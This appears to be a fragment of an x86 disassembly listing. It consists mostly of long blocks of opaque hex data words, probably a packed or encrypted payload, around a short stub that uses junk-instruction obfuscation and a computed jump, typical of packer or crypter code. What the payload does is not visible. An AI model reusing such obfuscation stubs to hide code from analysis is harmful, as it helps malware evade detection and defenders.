0D7674969h dd 0C6E9E677h, 89DA3B97h, 3781040Ah, 89DA9AC8h, 31CA440Ah dd 0C3D4A186h, 3ED3A044h, 7612A4B6h, 0EA56D8B2h, 82D2F429h dd 610081D0h, 691B4541h, 0EBBA1B4Ah, 0D4FB0A89h, 0B84BC4D1h dd 45A22A8Ah, 6FBFE3C0h, 275615DFh, 5EE8E30Eh, 5C80F995h dd 26CB4B9Ch, 0F32F597Eh, 636377EDh, 1414259h, 0A3180000h dd 7AEBC8BEh, 168EA0D3h, 38987BA4h, 0BE522084h, 7754B936h dd 6C4A0253h, 7A59F346h, 0C3234D55h, 6F79E859h, 986381F0h dd 266C91C7h, 4CDD95h, 1F2D80A2h, 8EF6F24Eh, 97B90A30h dd 1B3184C6h, 84495BBh, 0CF1CC839h, 0CD45D4BCh, 1933863Ch dd 64697B9h, 95EFF937h, 8EC41436h, 6AE41946h, 3310B8CCh dd 7BCDF5D2h, 0F1D705CFh, 0B39F2D64h, 330263A2h, 3A99EBF5h dd 0B8CC53CBh, 759B8410h, 36369FD5h, 0B96925CAh, 706A6E12h dd 3C9AFB68h, 0B889C316h, 0F54A4796h, 0E2830253h, 6DDD6F53h dd 0E769FADCh, 7B108256h, 3FBC368Ah, 0AC0A4293h, 2A5B3386h dd 10B99AB0h, 22B21479h, 0A4005130h, 7AEBC8BCh, 10B99B28h dd 401FBCE1h, 0B99B51CDh, 0F1FB1A10h, 0E06CBDE3h, 20557251h dd 10B99AA6h, 0B4A62E6Fh, 0A88A291Fh, 2C2B3A18h, 0B99B5DB9h dd 86E72610h, 0F779AF3Eh, 0CF7DD082h, 1178C9EFh, 0D67CCCC3h dd 2987D6B7h, 0F766453Fh, 10B99AA7h, 0B3953558h, 3A192820h dd 0A4D36C15h, 3F89F849h, 3897EDF3h, 0B91E59C5h, 6EC00210h dd 52281E0h, 0B91E76D0h, 0CD1B3F10h, 3455B485h, 0BD14AEACh dd 0DFC3E06Ch, 2C6DFC4Ch, 6F7AB6A4h, 0C045B817h, 99168E9Dh dd 1D2C20B1h, 1C3E9DFCh, 0FF2181C7h, 1B3F9CACh, 50B180C8h dd 8A880273h, 0CC510A8Ah, 22476504h, 0CB8C359Eh, 1E7F7E4Fh dd 0CD054CC1h, 2766107Ah, 0A967E716h, 60890476h, 0AD548926h dd 0E0A67B3h, 499CBE8Fh, 44BC4E03h, 16D573EBh, 4EA3Bh dd 3026B400h, 301EB092h, 2E1CB092h, 3719AA90h, 3024B197h dd 5F8CA392h, 0FE2482D2h, 2406A4AEh, 3719B98Fh, 3B08A6A6h dd 4165E114h, 0FB2E16B8h, 0C8BEA347h, 0A4577AEBh, 6DB0168Eh dd 0A2FC714Eh, 0D60A8A9Dh, 1B7ACB85h, 60FFC94Ch, 8A9DB011h dd 0F258EC0Ah, 7CCC5F63h, 0EAB25EDh, 0D7749E27h, 0AD0FE7B5h dd 0EA1895Ah, 0BC6BB23Ah, 0CF000000h, 9DB54270h, 0F1D3E110h dd 0D2CEEC60h, 9FCEED95h, 109DB54Bh, 0FD228104h, 31C6033Eh dd 94539D33h, 9FDC90B7h, 6AD9D2Fh, 973B9B8Fh, 9CBE0646h dd 63A30349h, 86A9067Ch, 993D13A4h, 4BBA0246h, 109E25D7h dd 1F3C0D90h, 1CA4AC3Bh, 0D4DFA73Ah, 1A9B48DAh, 95F16443h dd 5E109E2Ah, 56815E3Fh, 0CB3835D4h, 0ECAB4D9Eh, 0FC739037h dd 3373616Bh, 5679562Ch, 9E84AB27h, 0C7117410h, 851B5B8Ah dd 0A6AC109Eh, 65E37815h, 85D4B5D4h, 0A5D46504h, 109EC525h dd 0BC8CFD6Fh, 87CD1CA3h, 993657B6h, 8E2D21B1h, 9E45035Fh dd 7F49CC10h, 44C32352h, 3154109Eh, 0A5B691h, 0A31C0000h dd 0C7EBC8BEh, 584D575h, 0A66F9EBBh, 77168EBFh, 5B8A0053h dd 0A8AA8FFh, 152445C8h, 607FECF4h, 8AA8B12Dh, 470FE20Ah dd 5DFF710Dh, 5FEE8F0Eh, 4565ED7Bh, 7A003F68h, 0B79A1714h dd 0BA8BC313h, 3D25915Bh, 0A1F96C4Bh, 620A89E7h, 0AF32695Dh dd 492865AEh, 30689F8h, 2561E94Fh, 51A86894h, 3C105AADh dd 26000000h, 0EAC9BFA3h, 9DB51F7Bh, 94A5E810h, 923022B2h dd 0E6794C96h, 0D3B2D362h, 0B55181F4h, 382109Dh, 0F543C332h dd 638D109Dh, 0C0C822E6h, 4ADEC4E3h, 1949B800h, 4A109D75h dd 0BD4DEBCBh, 7251E06Ch, 87037255h, 50109DB4h, 0B4429CCDh dd 8A0B109Dh, 8FBD1042h, 8CFAEF2Fh, 0A283BE2Fh, 890C168Eh dd 9DC949B8h, 0E6200A8Ah, 5085A255h, 0A8A9DF6h, 0CE965EBFh dd 5AAD0F0Eh, 49B6h, 0E0C28C00h, 0C9F5FF4Dh, 94C9E6A0h dd 168E98B5h, 0C7360786h, 0A8A8947h, 91573583h, 0C21F73C7h dd 4B8FDEBFh, 900455FDh, 71786DDEh, 0D4F3A415h, 8A8025A1h dd 8AFEE0Ah, 2D97D075h, 0B32BB59Eh, 5AAD59E5h, 0CD4Dh dd 6CBDF100h, 0E06D51E0h, 0C4E6E574h, 0C012DA70h, 518EDF6Dh dd 0DA323666h, 2F7E3B8Dh, 5A7C4425h, 0F6654507h, 109E4578h dd 0CBEB61F4h, 0D674C8EAh, 0D379CC0Eh, 4B3B2682h, 15ACF96Ch dd 0E2C5168Fh, 8B141773h, 33BDE00Ah, 0EA6499B6h, 0B30A8B13h dd 93933352h, 6A9B384Eh, 10757CD0h, 3317B4D9h, 2E11AEA6h dd 0E495BB0Ch, 4756A6Ah, 0CC0AD233h, 0D474C7EBh, 9ABC0485h dd 0BC54094Bh, 0C179FD11h, 20D2F2Ah, 45910000h, 3F8FB111h dd 3789AF0Fh, 3E8DB313h, 3F8EB412h, 0A986B515h, 7F5FF544h dd 67470B59h, 7C5AEE41h, 69490356h, 940E7F60h, 5D16B843h dd 70BD1A44h, 0C2E8C7E4h, 3150E173h, 9DB4C640h, 0C60E8F10h dd 2D1FB298h, 0E0C2338Dh, 46D9394Dh, 2DC5A537h, 549CFD4Ch dd 268501E8h, 4F99AF04h, 2FF2D302h, 42C3168Fh, 200482F3h dd 2F5B0A8Bh, 81A2729Ah, 0E70A5AACh, 30000000h, 0C3E06CBDh dd 0E06ABEE4h, 0C5413051h, 8E109DB4h, 3051F74Ch, 0C81539A8h dd 0F3D87CC9h, 0E22D22D3h, 0C091F060h, 9EA0B131h, 0B09C2D10h dd 0AF9D3012h, 3F47A29Eh, 2426BAA0h, 0E34EBF9Ch, 0FC168F70h dd 717497D3h, 983F4A8Bh, 32C2BE42h, 9F4C9475h, 820882B8h dd 75C4F343h, 0FFDFBEDFh, 0FFDCAABFh, 75AC938Eh, 9A395C10h dd 454495BDh, 0B13B5AF6h, 6542129Fh, 0D564F03Dh, 0E88834EEh dd 5839DB91h, 0D1604290h, 5E10CE83h, 0AA4179FCh, 102AFh dd 84E9C00h, 183688AAh, 64498BAh, 1F3182A8h, 84C99BFh dd 57B47BAAh, 466C4A0Ah, 5C7E5CF6h, 3F614107h, 73805EEEh dd 449DF96Ch, 336616B8h, 0E470BD0Fh, 0FE56E3C7h, 71D96B6Fh dd 0A88AC810h, 0B6973715h, 2C20B199h, 9DB4E13Dh, 88C41510h dd 8A0B58B9h, 6CBD9842h, 0C3E4C3E0h, 9DB53892h, 0ED9C0110h dd 109DB571h, 5211DB3Ah, 38584A75h, 0CB250BC4h, 634BA9E4h dd 854FC38Fh, 6D4A0253h, 0B5AF645h, 3314428Ah, 1265E114h dd 0EF2E109Eh, 0F690D9E5h, 8EEBA4D9h, 27301687h, 89814F7Fh dd 0D5C3DFEh, 0F6D478C9h, 720581D4h, 311DAD1Dh, 0D9BAE120h dd 0BD8CED98h, 4A35DF4Ch, 710A883Fh, 0F94FE4C6h, 4CDDEFh dd 1F2D80A2h, 95BB0C4Eh, 0F0111136h, 7CC287FFh, 0B4D564EAh dd 885C0BD5h, 6CBD7506h, 4DE0C2E0h, 14736EFFh, 4C000000h dd 4EA0FA6Bh, 2469B489h, 5E7B429Ch, 0D263E97Ch, 0BDAF29B3h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E68956h dd 4C6h, 4EE8300h, 2474FF56h, 48F5E04h ; --------------------------------------------------------------------------- and al, 5Ch push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp push 61A8633h mov ebx, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 push ebx push esi mov esi, 4C8A1035h add [esp+4], esi pop esi pop dword ptr [ebp+8] sub dword ptr [ebp+8], 4C8A1035h mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- pop eax mov eax, 61A9206h add eax, ebp jmp eax ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 254D9C76h, 310D8387h, 9038A8B9h, 127E92BCh, 0EB0F92FBh dd 0EB1042C4h, 421A93F1h, 0D221AE58h, 0CB2A5C6Dh, 7E4DA0A4h dd 637757C4h, 0B25C4390h, 4E13B130h, 56760841h, 7F796B35h dd 0C9353A04h, 0CC7C089Fh, 52367B38h, 3756BD4Fh, 0F164CCD8h dd 2416A28Fh, 2B4E1F48h, 0E82DEC0Eh, 0Ah, 0AF316A98h, 19D58F88h dd 5FF8755Eh, 597CB752h, 0E52DC781h, 8B0F0000h, 5, 0A9E38166h dd 0E9C033E6h, 6, 0DBF45115h, 34FF4982h, 0E3816638h, 0F5EB166h dd 48Ch, 56B96600h, 32C68127h, 0E95815EDh, 6, 0B6452290h dd 0C681B2DFh, 656C26A9h, 0C68191B1h, 7C50A135h, 8056C2B7h dd 48F1AE5h, 0D68B6607h, 8118B060h, 784621DAh, 0E8836119h dd 0F881FC04h, 0FFFF1B58h, 0FFA8850Fh, 8B66FFFFh, 9E8CEh dd 48CB0000h, 6F82B9C3h, 56D11A7Bh, 5EDBB70Fh, 81DE8B5Ah dd 5864C2h, 0C933FC00h, 8BF2B70Fh, 0B70F0A3Ch, 0DBC781DEh dd 0F2E13F8h, 0C781F7B7h, 7BEE26CCh, 0EF81F28Bh, 4AB35944h dd 57C68B66h, 48FFE8Ah, 0D9BF0F0Ah, 4567F381h, 0E9837141h dd 0C68B6604h, 0A7F8F981h, 850FFFFFh, 0FFFFFFBFh, 0ECE9ECB3h dd 0 dd 37000000h, 37C8106h, 587C81CEh, 57C80C0h, 0ED7C9010h dd 7C9010h, 276F200h, 5 dup(0) dd 0A0000000h, 7C80ADh, 2Bh dup(0) dd 6000000h, 14000000h, 5F1639E7h, 49516754h, 0BA4FAC37h dd 8C337614h, 0C4B2753Fh, 0C8B973EEh, 0AD8F9607h, 44340670h dd 9FB11C13h, 172139E7h, 0D82B6166h, 0FCF29E35h, 22321177h dd 1C4F90EFh, 15BF1375h, 4227BC1Bh, 7A69C699h, 3DB3A8E5h dd 0FC321375h, 0FC614571h, 22321177h, 1C4F90EFh, 15BF1375h dd 4227B30Ah, 7A69C699h, 1121FC93h, 1D791566h, 0C66EBC2h dd 0A78ACF64h, 0E14F6BDBh, 946BA2h, 68B3452Ah, 6A767B42h dd 0AF644D79h, 977A5108h, 4B6CE567h, 223214E7h, 0ACB1EC66h dd 8E28816Fh, 7B61A66h, 2D321566h, 113214E0h, 0DBFE066h dd 42286AE3h, 22339A69h, 0EECA1566h, 80DB75B6h, 0A4321566h dd 0DCBF0353h, 708BEBE5h, 88339669h, 0C9CA1566h, 384DA0E3h dd 19B91A60h, 87321566h, 443217E4h, 0DD537566h, 94F4E0B6h dd 8E210487h, 165AE930h, 0DEAEBDDEh, 1132128Fh, 0FE6F8566h dd 4D4CA4DEh, 3CDBA099h, 993D1375h, 88321567h, 0FB3D759Fh dd 0A7BF7498h, 17246955h, 0E8E2EA9Fh, 1D7EAB06h, 2ADB1325h dd 0D9321566h, 2C6D63BCh, 25B6CADEh, 0A7BB749Ah, 172108CFh dd 8FBD1A9Fh, 4B321566h, 223214E3h, 94F5ED66h, 8E2106EFh dd 44321566h, 80897306h, 0D7CE740Ch, 9B23F4E3h, 50DB5060h dd 15321566h, 0F43FABD2h, 530D12B3h, 0D8C4FE89h, 0C4181902h dd 79E989FDh, 6407C0Fh, 0FA544606h, 446DA563h, 707BA0D9h dd 995FA099h, 48DB1375h, 1B321566h, 71732A2Bh, 38C3FEF6h dd 0C9A0F207h, 3108B8E3h, 9F3D7560h, 88321565h, 0ADF59E00h dd 22321560h, 89824781h, 775370E9h, 48B01AB6h, 0CB321566h dd 11321561h, 7ADB9BD0h, 0CD201ED2h, 311CA0E3h, 94F4EC60h dd 8E210487h, 45B11A25h, 0D7321566h, 76594B0Eh, 36CB75FAh dd 227D959Bh, 4F87EA07h, 71340677h, 80DB09D4h, 0AF321566h dd 0AB986D3Ch, 7041BE8Fh, 0B29F90EBh, 48DB1375h, 63321566h dd 31EBC7DEh, 1FAD2577h, 0BBC436D7h, 27DB75B6h, 4B321566h dd 3157D579h, 0B5B79C07h, 0DA340FF5h, 0D390A0h, 70661375h dd 265A3C0Eh, 2EB51A88h, 0F8321566h, 88321561h, 64890BCAh dd 0DAB60245h, 5FA099h, 0F3D1375h, 44321567h, 0A7BFEC9Eh dd 17212FCBh, 88339A69h, 0BBCA1566h, 0A7BBEDB6h, 17288693h dd 88321F8Fh, 0F73D7866h, 0C91C00EAh, 1EDAADA1h, 883202E6h dd 55B51A66h, 0CB321566h, 1132156Ah, 423BDA1Bh, 408CF8F5h dd 356BE08Dh, 0D390A0h, 0E8771375h, 47BF1A9Eh, 44321566h dd 7953C3EDh, 52522DA4h, 2987EA93h, 2D340677h, 11321DEEh dd 8AB61A66h, 24321566h, 8FB79807h, 1E34065Ch, 883212E5h dd 45B11A66h, 0DB321566h, 0EDCBC599h, 1BCB90EFh, 0C33D137Ch dd 22321567h, 2C8F969Fh, 88340671h, 452F9069h, 0AA3D1566h dd 1132156Eh, 88309369h, 25521566h, 33D390A0h, 1E771375h dd 883203E3h, 54B31A66h, 0CB321566h, 1132156Dh, 8B25EDDDh dd 897B4456h, 4A359C66h, 0EB126BE0h, 99DA759Eh, 0FA321566h dd 1AB2F813h, 0A78D7BBFh, 81718237h, 481B640h, 2232198Fh dd 4E5E4F66h, 6667387Ch, 7B95E617h, 588B4B5Dh, 70501859h dd 995FA099h, 0C9C71375h, 3108B8E3h, 0BA1A60h, 61321566h dd 4432156Ah, 0EA3C508Ch, 4D6F1339h, 98A600B4h, 0CDCBC599h dd 38A1E8E3h, 1BB71A60h, 61321566h, 44321563h, 29826EDBh dd 0F0B7D308h, 0C4340677h, 443BFC93h, 27FA1566h, 3815B1BAh dd 0E0F024E1h, 0A414C5A5h, 22349969h, 43521566h, 0E953753Fh dd 555FA099h, 0AFCE1375h, 208B8E3h, 85B41A60h, 24321566h dd 72D19400h, 2E2949Ah, 0E931A3AAh, 0CB3DC599h, 22321567h dd 10B79C9Ah, 61340FF2h, 44321577h, 0A5243A90h, 0DA1728B2h dd 264F719Dh, 14812694h, 2367FC9Ah, 77521566h, 3D866DEh dd 82CA74BFh, 3123F4E3h, 9A524760h, 4B8D1AA8h, 495AED07h dd 0DA8E5F82h, 5FFA099h, 9CDB1375h, 5D321566h, 47CB7066h dd 0F9D90C0Eh, 196E1F58h, 0EDEA1700h, 0AFBE73D5h, 208B8E3h dd 87DB7560h, 79321566h, 1786B13Dh, 8A2595D4h, 5DC71A59h dd 15622B31h, 0DD534A38h, 33B91AB6h, 0E8321566h, 4432018Eh dd 240A766h, 52B40A16h, 0FBC90DC8h, 0CB2F2FA5h, 9CF6476h dd 983D4F97h, 88321566h, 0B9B79C07h, 0DA340FF5h, 0D390A0h dd 87601375h, 44320CECh, 2226FC66h, 0A67A1566h, 90781FF2h dd 0D38E3671h, 93B92762h, 673188A9h, 3D53B0h, 44321567h dd 687A7D93h, 973DB32Ah, 88321562h, 25537506h, 36FFA099h dd 943D1375h, 88321571h, 4432078Fh, 0F0F4B166h, 11EFDE21h dd 0A3F3EC1Fh, 0A918C863h, 0AFE4A1C9h, 208B8E3h, 81B01A60h dd 24321566h, 6548CDD9h, 7023A719h, 8832068Fh, 0C2C90866h dd 0A9CF0471h, 9962A2Ch, 0AA3DC347h, 17E3CDBCh, 31DBC599h dd 31321566h, 3B9DF7DAh, 2B0B1CCAh, 0FE61078Eh, 4C2F455Ch dd 1C73447h, 5EA614E3h, 0AE3D7560h, 1132156Ch, 8832108Fh dd 9050B66h, 0AE3D481Bh, 11321564h, 4E5392D1h, 5723F4E3h dd 4AC74760h, 0EC70A18Ch, 26E99506h, 44379569h, 0A3541566h dd 708BCBBFh, 995FA099h, 0AD521375h, 22321575h, 30B8B938h dd 71AA0F36h, 0D726C5B4h, 3795ECD1h, 0F9C7C371h, 8832156Eh dd 949D1C7Ch, 5D7B760Dh, 11329E69h, 0E96A1566h, 7E9F90EBh dd 0A9521375h, 0E38D1AA8h, 93B41A07h, 24321566h, 2232048Fh dd 0C5243F66h, 1E36AE54h, 0DE83E96Ah, 0DA066798h, 0A63D7940h dd 58CD7498h, 44209A69h, 2FDB1566h, 39321566h, 18A6805Dh dd 0A4B4BF59h, 0EA6DBF18h, 77F09E06h, 7E06FDE7h, 25B79C07h dd 2D340668h, 11320EE7h, 41B27566h, 4422FD9Eh, 0EA471566h dd 0C39AA28Ah, 1C93D14Fh, 50D3082Ah, 436BEE54h, 0D390A0h dd 7D451375h, 0C43DE906h, 2232156Bh, 11321D8Fh, 1A6ABB66h dd 0ABD6AEB4h, 815A747Ch, 0F8C182CEh, 88321575h, 0C4EB67B3h dd 69AFC12h, 7979C616h, 52995FA9h, 0AD268A91h, 22321561h dd 0F733A166h, 77678B86h, 5722C4D3h, 0A7BFE960h, 17212FCBh dd 88399D69h, 42DB1566h, 0D6321566h, 0B6B72FFDh, 71E2EAB7h dd 640390EFh, 2EDB1375h, 12321566h, 0D8A6C086h, 0F0CE74B1h dd 42346A4Bh, 70F09E00h, 99D390A0h, 0B8601375h, 0FF03020Eh dd 10B91AECh, 7D321566h, 555FA099h, 0AFCE1375h, 208B8E3h dd 883DFC60h, 0B7641566h, 0C1DDB664h, 14F79405h, 3705A591h dd 0B1E2EA3Fh, 2232048Fh, 0FF2EB466h, 0AAF590FCh, 0F7B8C304h dd 2E389BFFh, 94BBF2F6h, 8E213EBFh, 0A5B7D39Ah, 74340677h dd 11279569h, 98DB1566h, 57321566h, 8F328408h, 2639A223h dd 45C7E2D6h, 2C354292h, 0F62D785Fh, 0F887EA93h, 87340678h dd 443214E3h, 0CA52E066h, 11321560h, 5BFB2950h, 90B88554h dd 24BA1A39h, 1E321566h, 883215EEh, 0C1BF7466h, 24246955h dd 0AE3DE006h, 58CD74A7h, 4432018Fh, 9F669C66h, 0E8769E11h dd 3549BD80h, 5B832E22h, 0DF039DB7h, 24B79C0Dh, 61340667h dd 44321575h, 0A969A37h, 0C07B421h, 0D25F1BF6h, 8D15114Ch dd 0E4FBE962h, 223F4E3h, 0E0CA5260h, 0C5EE051Ch, 2DC39E06h dd 113217EEh, 0E9C19F66h, 2987EA9Eh, 2D340677h, 113214EEh dd 0DBFED66h, 42212FCBh, 22339369h, 0EEC71566h, 13D75B6h dd 44321564h, 0DCB94C34h, 84B79C07h, 7D340675h, 0B5B37306h dd 0A63DE883h, 11321560h dd 88329969h, 82531566h, 3123F4E3h, 1E525260h, 0E053EAD1h dd 0CE3DA084h, 0F8E09406h, 773C741Ah, 0B68AD7E7h, 2987EA07h dd 0DA340677h, 2B9F90EBh, 0E9521375h, 2252C599h, 7964D4E7h dd 6EDB33DFh, 0DBB7421h, 42288147h, 2D52A606h, 113215EBh dd 0DF57466h, 42211067h, 2232151Eh, 11321D8Fh, 0C4611766h dd 6C330BF4h, 0C78F96DCh, 11340661h, 903C9169h, 0C73D1566h dd 2232156Eh, 0C747AB06h, 0E9CB3D02h, 55D390A0h, 0CB7E1375h dd 11321563h, 56103EDEh, 58DB7D78h, 42C7CCBCh, 0BA7ED6E7h dd 9545631h, 255D02B7h, 335FA099h, 9B3D1375h, 88321567h dd 0E9B7989Ah, 4234065Ch, 0BF38AE00h, 0E9F59E00h, 44339F69h dd 0DDCA1566h, 113FFCB6h, 8A881566h, 6DC50182h, 4CB1FB51h dd 98BAC7A7h, 92A618E3h, 0C1F4E960h, 24210487h, 1121FC2Ah dd 684F1566h, 5BDA47A9h, 967DE5E8h, 4A59BDD0h, 72DA92BCh dd 9AFC7D7Ch, 0A852C812h, 0DFD994BBh, 0E95826EDh, 4432068Fh dd 222C9666h, 1C957496h, 0BF7276B2h, 0E1B356A9h, 269FCC2Fh dd 5FA099h, 7D521375h, 44259769h, 30DB1566h, 73321566h dd 26E6031h, 0BC84217h, 8C50DFF8h, 0EB27150Fh, 0DBF74E3h dd 42212FCBh, 22321E8Fh, 0D87F5E66h, 0C51CCAE4h, 69E84C88h dd 2ADBC599h, 0F7321566h, 0E156B2B4h, 247833C8h, 2232188Eh dd 0FB570666h, 708EE3ADh, 48F57A78h, 0A3545DB9h, 48FB98A7h dd 0E997F1E6h, 0D02390EFh, 4452137Ch, 70EB32DCh, 99D390A0h dd 4B7E1375h, 223203EFh, 1123FC66h, 94931566h, 83B78F88h dd 0A8E47744h, 1BBC8CD5h, 0E0D5856Ah, 0F3B39759h, 4F87EA9Eh dd 71340677h, 0E8C2A269h, 25534A35h, 189F90EBh, 0F8521375h dd 88321577h, 169E948h, 0FEE9EBF3h, 0B362CC44h, 81210932h dd 4435FC30h, 8CF91566h, 679591D6h, 58CD74C4h, 4432138Fh dd 280D2566h, 98387FE5h, 92A600E3h, 4EBF1A60h, 0CB321566h dd 11321563h, 7E2048F2h, 443CFC53h, 895F1566h, 83401131h dd 0B8AE9792h, 1A30F156h, 33D390A0h, 0E97E1375h, 0A7720D0Eh dd 443BFCD5h, 0EEC61566h, 0B052AD69h, 612BA17Eh, 44321574h dd 0E788E8C0h, 8DF2B5E6h, 13F89468h, 0CD1980C6h, 97CD936Eh dd 1721040Bh, 883B9A69h, 0BD521566h, 1A9BC2E7h, 9C53613Eh dd 9B08B8E3h, 45BF1A60h, 0DE321566h, 9052C599h, 613367BDh dd 0C93D741Dh, 22321561h, 11339369h, 1CA1566h, 5EA600E3h dd 0D3B37560h, 3317E05Ah, 69B7D307h, 2340677h, 44C19E06h dd 701CC1DCh, 5634010Eh, 5DB71ADCh, 0CB321566h, 11321572h dd 0D10EB3CCh, 0E91F374Eh, 97B0DA76h, 7B5786E4h, 0CBE2629Ah dd 555FA099h, 0AA3D1375h, 11321567h, 25B7989Ah, 0AD34065Ch dd 2232156Bh, 6371BF4Ch, 0AF13BE21h, 7F6CB2FAh, 0CBE2EA55h dd 11321574h, 36CDEBB7h, 17FF8F40h, 7DFB3507h, 0E1FE32F7h dd 0DBB033Bh, 4228817Bh, 2F87ED06h, 0F0B7D307h, 0CF340677h dd 44321C8Fh, 4C3D4766h, 91EB67B3h, 0F25AFC12h, 24B3C976h dd 44E29E00h, 5AA1FAE7h, 0E587EA07h, 0BC340677h, 189F90EBh dd 1ADB1375h, 0D9321566h, 6A42BCE1h, 5C54D0BEh, 0C1CDD5B6h dd 40B3EC06h, 6EB8AE94h, 0A7BBED07h, 17288143h, 69B7D393h dd 3340677h, 2235FC06h, 96AC1566h, 0AE88D18Ah, 0E85A74B8h dd 42DD92E8h, 11379869h, 698C1566h, 223CCA7Ch, 4253CAEDh dd 11369369h, 33541566h, 0F33DD5F0h, 97CD7496h, 1721040Bh dd 54B2759Eh, 4423FD3Fh, 23151566h, 617426F1h, 2F8C9BA3h dd 0C8FF08A6h, 939D8789h, 9C534BD1h, 9B08B8E3h, 45B21A60h dd 0DA321566h, 7752C599h, 0EE23CBDFh, 25E0C6DEh, 223EFC06h dd 0F88D1566h, 3E89E117h, 0ABEB3EE3h, 0AB536B1Fh, 0BA63CE3h dd 99B81A60h, 4B321566h, 22321EE8h, 1134FC66h, 5CDF1566h dd 0EF328A65h, 33D390A0h, 71751375h, 88309A69h, 25521566h dd 22321C8Fh, 2ADC2A66h, 0E1BC23C5h, 0AD53D446h, 22321561h dd 0C88F3B69h, 0E0435DDFh, 90A8B2B4h, 2232078Fh, 7BB0D766h dd 94784395h, 0A861B72Fh, 58212F6h, 0EEC3B283h, 9B2378D3h dd 0FC547560h, 0AC3D2917h, 11321564h, 553D5D7h, 5708B8E3h dd 31B71A60h, 1E321566h, 883218E1h, 443AFC66h, 1BE61566h dd 92147C6Ah, 58CDC900h, 4432018Fh, 86B3F566h, 3A803B4Ch dd 2AD99EFAh, 0B3EC384Bh, 4116BC25h, 3CB79C76h, 87340FF2h dd 443213E3h, 7A647566h, 0D7537406h, 9B23F4E3h, 56DB5260h dd 0E321566h, 0A2BC3556h, 0D63E2DBBh, 3BF85854h, 8AF239BBh dd 155AED23h, 8788D45Fh, 44320DE5h, 33DB7566h, 8321566h dd 0C06D3F71h, 60726FC1h, 94F37FEEh, 72FBB915h, 0E587EA07h dd 0AD340677h, 22321577h, 0D505DA0Dh, 8E01C41h, 0B7746111h dd 93E35394h, 0BCB798B3h, 0E834065Ch, 2E3D18D9h, 43C79F3Dh dd 7752C599h, 1B06FAE7h, 4432078Fh, 0ED959666h, 2E0ED9D5h dd 0F664EAC0h, 0E890ED26h, 43857F88h, 20B79C93h, 61340FF2h dd 44321563h, 742A36F5h, 113DFCB7h, 2161566h, 3C9CEFh dd 0C1D858B4h, 1ADA5B4Ah, 0F18F9620h, 44340671h, 225D9069h dd 71CB1566h, 354E5ECh, 0C1F474B7h, 24210487h, 765AE921h dd 0E8D2674Bh, 85F1AE00h, 43C89E00h, 1132068Fh, 20352D66h dd 87A25DE4h, 6D3530E7h, 9617B03h, 0A2BE67C0h, 555FA099h dd 42CB1375h, 1E52F4D1h, 883215E1h, 83FF9566h, 0A7BF7407h dd 17212FCBh, 87E2EA93h, 443214EBh, 0ABCAE966h, 0BA620E3h dd 8835FC60h, 19251566h, 50D1A5C5h, 0F0B7D341h, 0CF340677h dd 44321A8Fh, 8CF15266h, 656938FEh, 7835E3Ch, 0DF577F62h dd 0B81A40Eh, 905475E8h, 876368B6h, 0BB53CED1h, 312378D3h dd 94BFEC60h, 8E212FCBh, 2211A606h, 4325E5E7h, 71E2EA07h dd 0E9CE50D2h, 0D00B90EFh, 0E4CA137Ch, 223F4E3h, 0C3D5660h dd 44321567h, 68957D9Fh, 923DD510h, 88321561h, 44339869h dd 0CBCE1566h, 11321569h, 495BFF0h, 0CF016AFh, 0E939EE36h dd 0EEFBB317h, 9B2378D3h, 4B52E960h, 0A354C6D1h, 70AAA8BDh dd 0B29F90EBh, 54DB1375h, 19321566h, 0E5CE3498h, 3B7E97A2h dd 5145B2DDh, 0DD6A0C01h, 1135FCB6h, 0CE771566h, 1A142FC4h dd 1FB79C02h, 71340FF2h, 0D8FBAA69h, 4B534E93h, 223201E5h dd 113DFC66h, 7F491566h, 0E8C200B0h, 38C04A72h, 0CD802CA4h dd 69B7D30Dh, 8340677h, 22359369h, 933D1566h, 88321567h dd 28D97D9Fh, 31DBEE00h, 0DC321566h, 442201C9h, 40531A0Dh dd 8A725B32h, 0F56DA3A3h, 3DCD52F5h, 422105B7h, 2232188Fh dd 0DFF01466h, 0CC04BCF3h, 4C567D5Ch, 0A7BFAD7Dh, 17212FCBh dd 8832068Fh, 84B1BD66h, 0DA02613Fh, 0A3B74254h, 4EE9ADD6h dd 820D8979h, 0ABCBC599h, 0BA6C4E3h, 8FBD1A60h, 24321566h dd 42A3E3E6h, 94F47407h, 8E210487h, 0BAB97522h, 775A749Eh dd 0F88966E8h, 88321561h, 0F8B672ECh, 0DDC4E080h, 22378D3h dd 0F3DE060h, 4432156Ch, 2232108Fh, 5F9A66h, 0DBFDCBDh dd 42212FCBh, 2232108Fh, 0BB3AB66h, 58CD6159h, 44379969h dd 44521566h, 1E53E2EDh, 883214E0h, 0C1BBE966h, 24288127h dd 12BB1A06h, 0EE321566h, 8253DEEDh, 3123F4E3h, 9E3D5660h dd 8832156Ch, 9EB97306h, 2D0050D8h, 0ED5A745Dh, 0E88E9B08h dd 0CF54CBEDh, 445274A8h, 0AE7A05D9h, 0D85F0596h, 2987EA07h dd 0D7340677h, 2B9F90EBh dd 87521375h, 443214EDh, 0DD53E966h, 94BBE9B6h, 8E288123h dd 44269969h, 44521566h, 0F80D8DDEh, 8832156Fh, 14A14A9Dh dd 55125A7Ah, 1CDB74F2h, 0CF321566h, 5C45C197h, 0BE61C7DCh dd 62929C75h, 99D390A0h, 4B611375h, 223201E5h, 113DFC66h dd 0D7AC1566h, 0EC37597Ah, 3E84A576h, 0E383F193h, 0B6987D0Ah dd 0AD52D376h, 22321560h, 37C4F032h, 8FDB58A4h, 95321566h dd 203DA313h, 715381C1h, 8839FC37h, 0CE21566h, 0AA1CB548h dd 0FA6E3122h, 8EDA4EABh, 3F321566h, 8B37BA82h, 11B81A20h dd 0D7321566h, 2987EA07h, 2D340677h, 113212E6h, 89BA1A66h dd 0BC321566h, 189F90EBh, 71CA1375h, 8832048Fh, 0BAB74E66h dd 1E8BE02Dh, 332D797Ch, 3FC31D6Ch, 4FDA5D71h, 0EC321566h dd 0D2A1F5F7h, 589D1C7Ch, 2568760Dh, 2D52C599h, 1BDBE5D9h dd 0B1321566h, 